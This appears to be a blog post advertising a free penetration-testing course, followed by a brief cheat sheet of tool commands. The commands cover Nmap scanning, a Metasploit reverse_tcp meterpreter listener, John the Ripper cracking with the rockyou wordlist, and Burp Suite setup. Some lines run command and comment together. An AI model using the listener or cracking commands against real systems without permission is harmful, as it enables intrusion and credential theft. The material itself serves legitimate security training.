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Enroll here: IT Masters Penetration Testing Course
This FREE online short course by IT Masters (in partnership with Charles Sturt University) is perfect for aspiring penetration testers. It covers:
– Hands-on pentesting tools & frameworks
– Legal & ethical hacking practices
– Real-world case studies from professionals
– Beginner-friendly to red teaming
You Should Know: Essential Penetration Testing Tools & Commands
1. Reconnaissance with Nmap
Nmap is a must-know tool for network scanning.
nmap -sV -A target.com Aggressive scan with OS and version detection nmap -p 80,443,22 target.com Scan specific ports nmap --script vuln target.com Check for common vulnerabilities
2. Exploitation with Metasploit
Metasploit Framework is widely used for exploitation.
msfconsole Launch Metasploit use exploit/multi/handler Set up a listener set payload windows/meterpreter/reverse_tcp set LHOST <your-ip> set LPORT 4444 exploit
3. Web Application Testing with Burp Suite
Intercept and modify HTTP requests:
Start Burp Suite from terminal (if installed) burpsuite
– Configure browser proxy to `127.0.0.1:8080`
– Use Repeater to manipulate requests manually.
4. Password Cracking with John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
5. Legal & Ethical Considerations
Always obtain written permission before testing. Use:
For educational purposes only whois target.com Check domain ownership
What Undercode Say
Penetration testing is a high-demand skill, and this free course is a golden opportunity. Practice in legal environments like:
– Hack The Box (https://www.hackthebox.com/)
– TryHackMe (https://tryhackme.com/)
Key Linux Commands for Security Pros:
netstat -tuln Check open ports tcpdump -i eth0 Capture network traffic chmod 600 sensitive_file.txt Restrict file permissions
Windows Security Commands:
netstat -ano Check active connections tasklist /svc List running services whoami /priv Check user privileges
Expected Output:
A well-structured penetration testing lab report with:
- Nmap scan results
- Vulnerability assessment
- Proof-of-concept exploits
- Mitigation recommendations
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